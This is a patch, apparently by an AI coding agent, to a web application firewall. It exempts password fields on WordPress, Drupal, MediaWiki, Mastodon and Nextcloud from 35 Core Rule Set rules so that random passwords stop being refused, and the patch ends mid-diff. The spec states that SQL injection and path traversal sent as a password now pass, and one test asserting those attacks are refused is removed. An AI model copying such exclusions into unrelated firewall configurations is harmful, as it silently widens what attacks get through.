From 616b7c6faee47835f258caea50071740ea93e645 Mon Sep 17 00:00:00 2001 From: clawbot Date: Tue, 10 Nov 2026 09:07:46 +0000 Subject: [PATCH] Core Rule Set: random passwords pass at sign-in (closes #276) A password manager's random password set off 35 Core Rule Set rules, about 1 in 40 refused. The password fields the app exclusions name now skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki wpPassword, lgpassword and password, Mastodon's sign-in, sign-up, password change, move and delete passwords, and Nextcloud's sign-in password. The tests draw 2,000 random passwords from a fixed seed, plus one rare password for each rule the 2,000 do not set off. Those that set off a rule in a field no exclusion names are sent to every password field. An SQL injection or a path traversal sent as a password now passes; a script injection is still refused. Model: opus-5-5 --- README.md | 4 + SPEC.md | 52 +++++- internal/coreruleset/coreruleset_test.go | 202 +++++++++++++++++++++++ internal/coreruleset/drupal.conf | 40 +++++ internal/coreruleset/drupal_test.go | 20 ++- internal/coreruleset/mastodon.conf | 79 +++++++++ internal/coreruleset/mastodon_test.go | 67 +++++++- internal/coreruleset/mediawiki.conf | 80 +++++++++ internal/coreruleset/mediawiki_test.go | 48 ++++-- internal/coreruleset/nextcloud.conf | 40 +++++ internal/coreruleset/nextcloud_test.go | 32 +++- internal/coreruleset/wordpress.conf | 40 ++++- 12 files changed, 680 insertions(+), 24 deletions(-) diff --git a/README.md b/README.md index de8e2ed..46bda75 100644 --- a/README.md +++ b/README.md @@ -602,6 +602,10 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md). - Nextcloud: its sync client gets through. On Nextcloud's own paths, its WebDAV methods, searches, file names, account names, comments and documents do too. +- A password made of any printable characters gets through these forms: + - signing in, on WordPress, Drupal, MediaWiki and Nextcloud; + - signing in, signing up, changing the password, and moving or deleting the + account, on Mastodon. - `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own fields or paths. - Rule files are plain text, one rule to a line, edited by hand and read again diff --git a/SPEC.md b/SPEC.md index 0b9b9db..cf86f72 100644 --- a/SPEC.md +++ b/SPEC.md @@ -919,7 +919,14 @@ The changes hold in front of every app, and no setting undoes them: - `content` of a reply to a comment sent to `admin-ajax.php`. - `newcontent` of a plugin's or a theme's file saved from its editor, which is PHP. - - `pwd` when signing in, for the list of system files (930120). + - `pwd`, the password when signing in, for each rule that random + passwords set off (920270, 920540, 921200, 930100, 930110, 930120, + 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280, + 932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, + 941100, 941120, 941160, 941180, 942100, 942151, 942190, 942230, + 942290, 942320, 942540, 942550, 944150). An SQL injection or a path + traversal sent as the password reaches WordPress. A script injection + is still refused. - `title`, `excerpt` and `name` in a JSON body sent to any REST API route under `/wp/v2/`, for the rules on system files and commands (930120, 932120, 932250, 932260). @@ -987,6 +994,13 @@ The changes hold in front of every app, and no setting undoes them: - The body and comment body on the node and comment forms and through JSON:API, which hold HTML and any code it shows. - `name` and `pass` when signing in (930120, 932120, 932250, 932260). + - `pass`, the password when signing in, in form data or JSON, for each rule + that random passwords set off (920270, 920540, 921200, 930100, 930110, + 930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280, + 932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100, + 941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320, + 942540, 942550, 944150). An SQL injection or a path traversal sent as the + password reaches Drupal. A script injection is still refused. - `name` when resetting a password through Drupal's JSON format on `/user/password`, for the same four rules. - `mail` in that same reset, for 932120 and 932260 only. @@ -1066,6 +1080,16 @@ The changes hold in front of every app, and no setting undoes them: - `wpTextbox1` on MediaWiki's pages; - `text`, `appendtext` and `prependtext` on `/api.php`; - `source` in the JSON body of `/rest.php/`. + - The passwords when signing in, for each rule that random passwords set off + (920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, + 932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, + 933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100, + 942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150): + - `wpPassword` on MediaWiki's pages; + - `lgpassword` and `password` on `/api.php`. + + An SQL injection or a path traversal sent as a password reaches + MediaWiki. A script injection is still refused. These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies when the query has a parameter of the same name. @@ -1192,6 +1216,23 @@ The changes hold in front of every app, and no setting undoes them: Each name contains `.forward`, a file in a home folder. So 930120 refused every report the web app sent. The keys' values keep every rule. + The passwords in a body skip each rule that random passwords set off + (920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, + 932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, + 933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100, + 942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150): + - on `/auth`, `/settings/migration` and `/settings/delete`, and the paths + under them: + - `user[password]`, `user[password_confirmation]` and + `user[current_password]`; + - `account_migration[current_password]` and + `form_redirect[current_password]`; + - `form_delete_confirmation[password]`; + - `password` on `/api/v1/accounts`, in form data or JSON. + + An SQL injection or a path traversal sent as a password reaches Mastodon. A + script injection is still refused. + These body exclusions matter only while `SWW_WAF_BODY_LIMIT` is set. None applies when the query has a parameter of the same name. @@ -1324,6 +1365,15 @@ The changes hold in front of every app, and no setting undoes them: saves. - `name` on `/remote.php/dav/systemtags/`, a new tag. + `password` in the body of `/login`, the password when signing in, skips each + rule that random passwords set off (920270, 920540, 921200, 930100, 930110, + 930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280, + 932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100, + 941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320, + 942540, 942550, 944150). It applies only when the query has no `password` + parameter. An SQL injection or a path traversal sent as the password reaches + Nextcloud. A script injection is still refused. + Some fields hold sentences a person writes: - `note`, a share's note, on `apps/files_sharing/api/v1/shares` of the OCS API and on each share under it; diff --git a/internal/coreruleset/coreruleset_test.go b/internal/coreruleset/coreruleset_test.go index 6422e12..d03625e 100644 --- a/internal/coreruleset/coreruleset_test.go +++ b/internal/coreruleset/coreruleset_test.go @@ -1,8 +1,10 @@ package coreruleset_test import ( + "context" "encoding/json" "fmt" + "math/rand/v2" "net/http" "net/http/httptest" "net/netip" @@ -624,6 +626,195 @@ const passwordField = "password=" //nolint:gochecknoglobals // a constant cannot be a list var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"} +// randomPassword returns a password of 20 characters, each one of the 95 +// printable ASCII characters, space included, drawn from random. +func randomPassword(random *rand.Rand) string { + const length, first, count = 20, ' ', '~' - ' ' + 1 + + password := make([]byte, length) + for i := range password { + password[i] = byte(first + random.IntN(count)) + } + + return string(password) +} + +// rarePasswords are random passwords from randomPasswords' seed, found among +// the first 1,000,000. Each sets off the rule named beside it, which the first +// 2,000 do not set off. +// +//nolint:gochecknoglobals // a constant cannot be a list +var rarePasswords = []string{ + "x)g|E0f)~.um%00G]cX~hM", // 932125 + " /\"j14y[%\\(iM]zmG%=^", // 932130 + "\\f*q5v$]$IfS3JoY:*r1", // 932160 + "*e#!-z{Jq)Sqwx@k:b:}", // 932230 + "pErl>vR[Z7K^`RHb+RW${/(z}C", // 933135 + "Ep3!qqe 7$RT(_)@SLV6", // 933180 + "&:4WomDrn$\"(SE_D);Ja", // 933210 + "='nlIgN7ON\\\\mWt=Tr84", // 941120 + "P]/C>Ef]F-\"{Z\\QDwqBQs%v}`nBu", // 942550 + "`aV#3${J4,\\h.q' k\\${", // 944150 +} + +// randomPasswords returns 2,000 random passwords from a fixed seed, then +// rarePasswords. +func randomPasswords() []string { + const count, seed = 2000, 276 + + random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample + + passwords := make([]string, count, count+len(rarePasswords)) + for i := range passwords { + passwords[i] = randomPassword(random) + } + + return append(passwords, rarePasswords...) +} + +// passwordBody returns a body of r's type, form data or JSON, that sends +// password in the field name. +func passwordBody(t *testing.T, r request, name, password string) string { + t.Helper() + + if r.headers[0] != jsonBody { + return url.QueryEscape(name) + "=" + url.QueryEscape(password) + } + + body, err := json.Marshal(map[string]string{name: password}) + if err != nil { + t.Fatal(err) + } + + return string(body) +} + +// findMisfiringPasswords returns those of randomPasswords that set off a +// rule in the form data field password on /, which no exclusion names, while +// bodies are read. It runs once, for every test that asks. +// +//nolint:gochecknoglobals // the tests share it +var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) { + const workers = 8 + + crs, err := loaderFor(coreruleset.Params{ + ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit, + })() + if err != nil { + return nil, err + } + + passwords := randomPasswords() + misfires := make([]bool, len(passwords)) + + var inspecting sync.WaitGroup + + for worker := range workers { + inspecting.Go(func() { + for i := worker; i < len(passwords); i += workers { + body := "password=" + url.QueryEscape(passwords[i]) + req := httptest.NewRequestWithContext(context.Background(), + http.MethodPost, "http://git.example/", strings.NewReader(body)) + req.Header.Set("Content-Type", "application/x-www-form-urlencoded") + req.Header.Set("Content-Length", strconv.Itoa(len(body))) + req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+ + "Gecko/20100101 Firefox/131.0") + req.Header.Set("Accept", "text/html") + + result, _, _ := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), + req.Body) + misfires[i] = len(result.RuleIDs) > 0 + } + }) + } + + inspecting.Wait() + + var misfiring []string + + for i, password := range passwords { + if misfires[i] { + misfiring = append(misfiring, password) + } + } + + return misfiring, nil +}) + +// misfiringPasswords returns those of randomPasswords that set off a rule in +// a field no exclusion names. The rules that misfire on a password read its +// value, not the name of its field. So the other random passwords set off no +// rule in any field. +func misfiringPasswords(t *testing.T) []string { + t.Helper() + + misfiring, err := findMisfiringPasswords() + if err != nil { + t.Fatalf("load the Core Rule Set: %v", err) + } + + for _, rare := range rarePasswords { + if !slices.Contains(misfiring, rare) { + t.Fatalf("%q sets off no rule in a field no exclusion names", rare) + } + } + + return misfiring +} + +// wantRandomPasswordsPass checks that none of randomPasswords, sent in the +// field name of r's body, is refused while bodies are read. r's Content-Type +// is form data or JSON. Only the passwords misfiringPasswords returns set off +// a rule in some field, so only they are sent. +func wantRandomPasswordsPass(t *testing.T, r request, name string) { + t.Helper() + + const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default + + crs := readingBodies(t) + + for _, password := range misfiringPasswords(t) { + body := passwordBody(t, r, name, password) + if got, _ := inspectBody(t, crs, r, body); got.Score >= threshold { + t.Errorf("%s %s %s %q refused: %+v", r.method, r.target, name, + password, got) + } + } +} + +// wantPasswordAttacksRefused checks that each of attacks, sent as the whole +// password in the field name of r's body, is refused while bodies are read. +func wantPasswordAttacksRefused( + t *testing.T, r request, name string, attacks ...string, +) { + t.Helper() + + const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default + + for _, attack := range attacks { + body := passwordBody(t, r, name, attack) + if got, _ := inspectBody(t, readingBodies(t), r, body); got.Score < threshold { + t.Errorf("%s %s %s %q let through: %+v", r.method, r.target, name, + attack, got) + } + } +} + // wantRecordedRequestsPass checks that none of the recorded ordinary // requests in the file name in testdata is refused, at the defaults and // while bodies are read. A request with neither a body nor a Content-Type @@ -1348,6 +1539,17 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) { wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la") } +func TestWordPressPasswordsPass(t *testing.T) { + t.Parallel() + + signIn := request{http.MethodPost, wpLogin, []string{formData}} + + wantRandomPasswordsPass(t, signIn, "pwd") + + // No rule pwd keeps catches the SQL injection or the path traversal. + wantPasswordAttacksRefused(t, signIn, "pwd", scriptTag) +} + func TestWordPressExclusionsAreNarrow(t *testing.T) { t.Parallel() diff --git a/internal/coreruleset/drupal.conf b/internal/coreruleset/drupal.conf index 3ee559c..8c1d5c2 100644 --- a/internal/coreruleset/drupal.conf +++ b/internal/coreruleset/drupal.conf @@ -184,6 +184,46 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\ ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/" +# The password, pass, skips each rule that random passwords set off. +SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \ + "id:900819,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\ + ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/" + # A person's name and email address, when signing up, when editing an # account and when commenting without an account. A name of python3 refused # signing up, and python3@example.com refused saving an account. An address diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go index 35aaa7e..d99bf0b 100644 --- a/internal/coreruleset/drupal_test.go +++ b/internal/coreruleset/drupal_test.go @@ -109,7 +109,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { {reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack}, {reply, "subject%5B0%5D%5Bvalue%5D=" + attack}, {reply, drupalName + attack}, - {drupalSignIn, "pass=" + attack}, {drupalSignIn, drupalName + attack}, {"/fr/user/login", drupalName + attack}, {"/user/register", drupalName + attack}, @@ -172,6 +171,25 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { } } +func TestDrupalPasswordPasses(t *testing.T) { + t.Parallel() + + for _, r := range []request{ + {http.MethodPost, drupalSignIn, []string{formData}}, + {http.MethodPost, drupalJSONSignIn, []string{jsonBody}}, + } { + t.Run(r.target, func(t *testing.T) { + t.Parallel() + + wantRandomPasswordsPass(t, r, "pass") + + // No rule pass keeps catches the SQL injection or the path + // traversal. + wantPasswordAttacksRefused(t, r, "pass", scriptTag) + }) + } +} + func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { t.Parallel() diff --git a/internal/coreruleset/mastodon.conf b/internal/coreruleset/mastodon.conf index 4b3d16f..0b09f71 100644 --- a/internal/coreruleset/mastodon.conf +++ b/internal/coreruleset/mastodon.conf @@ -176,6 +176,85 @@ SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \ ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:password|reason)$/,\ ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:password|reason)$/" +# The passwords named above skip each rule that random passwords set off. +SecRule REQUEST_FILENAME "@rx ^/(?:settings/(?:migration|delete)|auth)(?:/|$)" \ + "id:900965,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=920540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=921200;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=930100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=930110;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=932125;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=932130;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=932160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=932230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=932270;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=932280;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=932330;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=932340;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=932370;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=932380;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=933100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=933135;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=933180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=933210;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=941100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=941120;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=941160;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=941180;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=942100;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=942151;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=942190;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=942230;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=942290;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=942320;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=942540;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=942550;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/,\ + ctl:ruleRemoveTargetById=944150;ARGS:/^(?:user\[(?:password|password_confirmation|current_password)\]|(?:account_migration|form_redirect)\[current_password\]|form_delete_confirmation\[password\])$/" + +SecRule REQUEST_FILENAME "@streq /api/v1/accounts" \ + "id:900966,phase:1,pass,nolog,chain" + SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \ + "ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\ + ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/" + # The web app's reports have the JSON keys forward and forward_to_domains. A # report forwarded to another server lists that server in forward_to_domains. # Their names contain .forward, a file in a home folder, so 930120 refused every diff --git a/internal/coreruleset/mastodon_test.go b/internal/coreruleset/mastodon_test.go index 4cf28b9..e603f19 100644 --- a/internal/coreruleset/mastodon_test.go +++ b/internal/coreruleset/mastodon_test.go @@ -6,6 +6,7 @@ import ( "net/http" "net/url" "slices" + "strings" "testing" "sneak.berlin/go/smallwebwaf/internal/coreruleset" @@ -129,10 +130,6 @@ var mastodonFormFields = []mastodonBodyField{ {http.MethodPost, "/settings/applications", "doorkeeper_application[website]="}, {http.MethodPost, "/settings/aliases", "account_alias[acct]="}, {http.MethodPost, "/settings/migration", "account_migration[acct]="}, - {http.MethodPost, mastodonSignIn, mastodonPassword}, - {http.MethodPost, mastodonAccount, mastodonPassword}, - {http.MethodPost, mastodonAccount, "user[password_confirmation]="}, - {http.MethodPost, mastodonAccount, "user[current_password]="}, {http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="}, {http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="}, {http.MethodPost, "/admin/report_notes", "report_note[content]="}, @@ -145,6 +142,18 @@ var mastodonFormFields = []mastodonBodyField{ {http.MethodPost, mastodonRoles, "user_role[name]="}, {http.MethodPost, mastodonTerms, "terms_of_service[text]="}, {http.MethodPost, mastodonTerms, "terms_of_service[changelog]="}, + {http.MethodPost, mastodonSignUp, "reason="}, +} + +// mastodonPasswordForms sends each password field in a form data body, on +// a path where it skips the four rules and the rules that random passwords +// set off. +// +//nolint:gochecknoglobals // a constant cannot be a list +var mastodonPasswordForms = []mastodonBodyField{ + {http.MethodPost, mastodonSignIn, mastodonPassword}, + {http.MethodPost, mastodonAccount, "user[password_confirmation]="}, + {http.MethodPost, mastodonAccount, "user[current_password]="}, {http.MethodPost, "/settings/migration", "account_migration[current_password]="}, { http.MethodPost, "/settings/migration/redirect", @@ -152,7 +161,14 @@ var mastodonFormFields = []mastodonBodyField{ }, {http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="}, {http.MethodPost, mastodonSignUp, passwordField}, - {http.MethodPost, mastodonSignUp, "reason="}, +} + +// mastodonPasswordJSON sends the password of signing up through the API in +// a JSON body, with %s for its value. +// +//nolint:gochecknoglobals // a struct cannot be a constant +var mastodonPasswordJSON = mastodonBodyField{ + http.MethodPost, mastodonSignUp, `{"password":%s}`, } // mastodonJSONFields sends each field that skips the four rules in a JSON @@ -178,7 +194,6 @@ var mastodonJSONFields = 